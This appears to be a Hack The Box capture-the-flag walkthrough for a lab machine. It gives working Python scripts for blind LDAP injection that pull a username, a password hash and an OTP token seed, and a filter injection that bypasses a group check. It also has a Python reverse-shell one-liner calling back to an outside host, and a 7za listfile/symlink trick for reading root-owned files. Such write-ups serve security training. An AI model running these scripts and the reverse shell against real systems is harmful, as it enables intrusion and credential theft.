HTB CTF
10.10.10.122 | 50 pts | Synack Track | Ticket Master Badge
PART 1 : Initial Recon
1.1 NMAP SCAN
$ nmap --min-rate 700 -p- -v 10.10.10.122
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF
PART 2 : Port Enumeration
2.1 TCP PORT 80 : HTTP
Visiting http://10.10.10.122
:

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at /login.php
:

Page Source (/login.php
):
...
<form action="/login.php" method="post">
<div class="form-group row">
<div class="col-sm-10">
</div>
</div>
<div class="form-group row">
<label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
</div>
</div>
<div class="form-group row">
<label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
<div class="col-sm-10">
<input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-primary name=" submit"="" value="Login">Login</button>
</div>
</div>
</form>
...
NOTE(S):
An error message pops up when guessing the Username
input:
<div class="col-sm-10">User test not found</div>
Now, testing for possible injection -- inputUsername=%3D
(%3D
is "=") and no error message popped up.
!
,&
,*
,(
,)
,\
,|
,<
, and>
also doesn't return an error message
These are special characters in LDAP so maybe these characters are being filtered out by /login.php. It is also important to note that a token string for the OTP
is stored in a pre-existing attribute so the login might actually be validated using LDAP.
PART 3 : EXPLOITATION
3.1 LDAP Blind Injection
Attempt exploitation using LDAP Injection using a wildcard "*
" as a payload:
inputUsername=%2A
The following response was given by the server:
<div class="col-sm-10">Cannot login</div>
This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:
import requests as r
import urllib.parse as u
username = ""
char_list = "abcdefghijklmnopqrstuvwxyz0123456789"
while True:
for i in range(0, len(char_list)):
ldap_injection = "%s%c*" % (username, char_list[i])
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text:
username = username + char_list[i]
print(username)
break
if i == len(char_list) - 1 : break
print("[x] THE USERNAME IS " + username)
Run using python3
and a user, ldapuser
, has been extracted:
l
ld
lda
ldap
ldapu
ldapus
ldapuse
ldapuser
[x] THE USERNAME IS ldapuser
Now finding all available/usable LDAP Attributes using ldap_attribute_list.txt
(copied from ldap-brute from GitHub):
import requests as r
import urllib.parse as u
attribute_list = open("/usr/share/wordlists/ldap_attribute_names.txt", "r")
attributes = []
for i in attribute_list:
ldap_injection = "ldapuser))(&(%s=*" % (i[:-1])
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text:
print(ldap_injection)
attributes.append(i[:-1])
attribute_list.close()
Run using python3
and the following were returned -- userPassword
, pager
, and objectClass
might be of interest:
ldapuser))(&(cn=*
ldapuser))(&(commonName=*
ldapuser))(&(gidNumber=*
ldapuser))(&(homeDirectory=*
ldapuser))(&(loginShell=*
ldapuser))(&(mail=*
ldapuser))(&(name=*
ldapuser))(&(objectClass=*
ldapuser))(&(pager=*
ldapuser))(&(shadowLastChange=*
ldapuser))(&(shadowMax=*
ldapuser))(&(shadowMin=*
ldapuser))(&(shadowWarning=*
ldapuser))(&(sn=*
ldapuser))(&(surname=*
ldapuser))(&(uid=*
ldapuser))(&(uidNumber=*
ldapuser))(&(userPassword=*
Extracting the contents of userPassword
:
import requests as r
import urllib.parse as u
token = ""
while True:
if len(token) % 3 == 0 :
attribute_value = bytes.fromhex(str(token.replace("\\", ""))).decode('utf-8')
print(attribute_value)
token += "\\"
if len(attribute_value[19:])==86: break
for x in range(15,-1,-1):
if len(attribute_value[19:])==85 and len(token) % 3 == 2 :
if x==0: token = token + "0"
payload = "ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:="
ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])
if ldap_injection[-3:] == "0ff":
hex_val = "0x" + ldap_injection[-6:-4]
token = token[:-4] + hex(int(hex_val, 16) + 1)[-2:] + "\\"
ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if x==0 and len(token) % 3 == 2 : token = token[:-1] + str(int(token[-1]) - 1) + "0"
elif "Cannot login" not in req.text:
if len(token) % 3 == 2 : token = token + hex(x)[-1]
else: token = token + hex(x+1)[-1]
break
Run using python3
:
{
{c
{cr
{cry
{cryp
{crypt
{crypt|
{crypt}#
{crypt}$5
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G-
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi23
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi245
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi246
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460
The userPassword
attribute is a bit special:
So with ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=
, a simple wildcard comparison won't do:
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit
comparison (in big endian ordering) of two octet string values until a difference is found. The first
case in which a zero bit is found in one value but a one bit is found in another will cause the value
with the zero bit to be considered less than the value with the one bit.
A sha512crypt hash was extracted but this seems to be a RABBIT HOLE. But the pager
attribute seems promising:
import requests as r
import urllib.parse as u
token = ""
while( len(token)!=81 ):
for i in range(0,10):
ldap_injection = "ldapuser))(&(pager=%s%d*" % (token, i)
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text:
token = token + str(i)
print(token)
break
print("[x] THE TOKEN IS " + token)
Run using python3
and it seems like the attribute contains the token which is a Pure Numeric CTF (Compressed Token Format) string:
2
28
285
2854
28544
285449
2854494
28544949
285449490
2854494900
...
28544949001135715653165154565233557071316741144572714
285449490011357156531651545652335570713167411445727140
2854494900113571565316515456523355707131674114457271406
28544949001135715653165154565233557071316741144572714060
285449490011357156531651545652335570713167411445727140604
2854494900113571565316515456523355707131674114457271406041
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
285449490011357156531651545652335570713167411445727140604172141456711102716717000
[x] THE TOKEN IS 285449490011357156531651545652335570713167411445727140604172141456711102716717000
3.2 OTP Generation
Generate an OTP using the token string with stoken
:
$ stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000
Enter new password:
Confirm new password:
$ stoken tokencode
Enter PIN:
PIN must be 4-8 digits. Use '0000' for no PIN.
Enter PIN: 0000
83502926
Login using the credentials found/generated (ldapuser:83502926) then you are redirected to /page.php
:

Page Source (/page.php
):
...
<form action="/page.php" method="post" >
<div class="form-group row">
<div class="col-sm-12">
</div>
</div>
<div class="form-group row">
<label for="inputCmd" class="col-sm-2 col-form-label">Cmd</label>
<div class="col-sm-10">
<input type="text" class="form-control" id="inputCmd" name="inputCmd" placeholder="Command to issue">
</div>
</div>
<div class="form-group row">
<label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
<div class="col-sm-10">
<input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
</div>
</div>
<div class="form-group row">
<div class="col-sm-10">
<button type="submit" class="btn btn-primary name="submit" value="Submit">Submit</button>
</div>
</div>
</form>
...
An error message pops up when fuzzing the inputCmd
's input:
<div class="col-sm-10">User must be member of root or adm group and have a registered token to issue commands on this server</div>
There was a gidNumber
back during bruteforcing the available LDAP attributes:
root
andadm
has group numbers 0 and 4 respectivelyMaybe
ldapuser
's group number could be added to the check done by /page.php
Maybe the group restriction could be bypassed by passing an LDAP injection as a username like ldapuser))(|(gidNumber:2.5.13.14:=1000
when loggin in:
USERNAME
PASSWORD
ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000
Generate an OTP using stoken
Checking if ldapuser
's GID is ineed 1000:
import requests as r
import urllib.parse as u
for i in range(1000, 1050):
ldap_injection = "ldapuser))(|(gidNumber:2.5.13.14:=%d" % (i)
data = { "inputUsername": u.quote(ldap_injection) }
req = r.post("http://10.10.10.122/login.php", data=data)
if "Cannot login" in req.text: break
print("[x] ldapuser's gidNumber : " + str(i))
The script returned the following --[x] ldapuser's gidNumber : 1000
Using the new username, The group restriction no longer applies.
PART 4 : Generate User Shell
4.1 Reverse Shell as apache
On the local machine:
nc -lvp 4444
Sending a reverse shell on /page.php:
inputCmd
inputOTP
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Generate an OTP using stoken
While inside the reverse shell:
$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ldapuser:x:1000:1000::/home/ldapuser:/bin/bash
$ ls -lah
[...omitted...]
-rw-r-----. 1 root apache 5.0K Oct 23 2018 login.php
-rw-r-----. 1 root apache 68 Oct 23 2018 logout.php
-rw-r-----. 1 root apache 5.2K Oct 23 2018 page.php
[...omitted...]
$ cat login.php
[...omitted...]
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
[...omitted...]
4.2 SSH as ldapuser
Login as ldapuser
via ssh
:
$ ssh -l ldapuser 10.10.10.122
[email protected]'s password: e398e27d5c4ad45086fe431120932a01
ldapuser
shell:
$ id
uid=1000(ldapuser) gid=1000(ldapuser) groups=1000(ldapuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ cat user.txt
74a8e86f3f6ecd8010a660cfb44ee585
PART 5 : Privilege Escalation (ldapuser -> root)
5.1 honeypot.sh
Enumerating the system using ldapuser
shell:
$ ls -lah /
[...omitted...]
drwxr-xr-x. 2 root root 4.0K Jun 18 20:16 backup
[...omitted...]
$ ls -lah /backup
[...omitted...]
-rw-r--r--. 1 root root 32 Jun 18 20:13 backup.1560881581.zip
-rw-r--r--. 1 root root 32 Jun 18 20:14 backup.1560881641.zip
-rw-r--r--. 1 root root 32 Jun 18 20:15 backup.1560881701.zip
-rw-r--r--. 1 root root 32 Jun 18 20:16 backup.1560881761.zip
-rw-r--r--. 1 root root 32 Jun 18 20:17 backup.1560881821.zip
-rw-r--r--. 1 root root 0 Jun 18 20:17 error.log
-rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh
There is a script named honeypot.sh
and backup files seem to be generated every minute:
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
5.2 7za listfiles
Leveraging honeypot.sh
by exploiting what 7za
can do:
$ 7za --help
[...omitted...]
Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>]
[...omitted...]
<Switches>
-- : Stop switches parsing
[...omitted...]
-snl : store symbolic links as links
[...omitted...]
-t{Type} : Set type of archive
[...omitted...]
Since all switches after --
will be ignored meaning wildcard injection is no longer a viable option but, [<@listfiles...>]
could still be controlled
To leverage @listfiles
, write a file to /var/www/html/uploads
:
$ cd /var/www/html/uploads
$ ls -la
ls: cannot open directory .: Permission denied
$ ls -lah ../
[...omitted...]
drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploads
The reverse shell from earlier has a user apache
so the permissions could be changed using /page.php
inputCmd
inputOTP
chmod 777 /var/www/html/uploads
Generate an OTP using stoken
Now, create relevant files:
$ cd /var/www/html/uploads
$ touch @list
$ ln -s /root/root.txt list
$ ls -lah
drwxrwxrwx. 2 apache apache 31 Jun 18 21:42 .
drwxr-xr-x. 6 root root 176 Oct 23 2018 ..
lrwxrwxrwx. 1 ldapuser ldapuser 14 Jun 18 21:42 list -> /root/root.txt
-rw-rw-r--. 1 ldapuser ldapuser 0 Jun 18 21:42 @list
Since list
is not a valid listfile, an error will be thrown. Attempting to capture /backup/error.log
before contents are truncated by honeypot.sh
:
$ while ! [ -s /backup/error.log ]; do : ; done; cat /backup/error.log
WARNING: No more files
fd6d2e53c995e6928cd0f040c79ba053
Last updated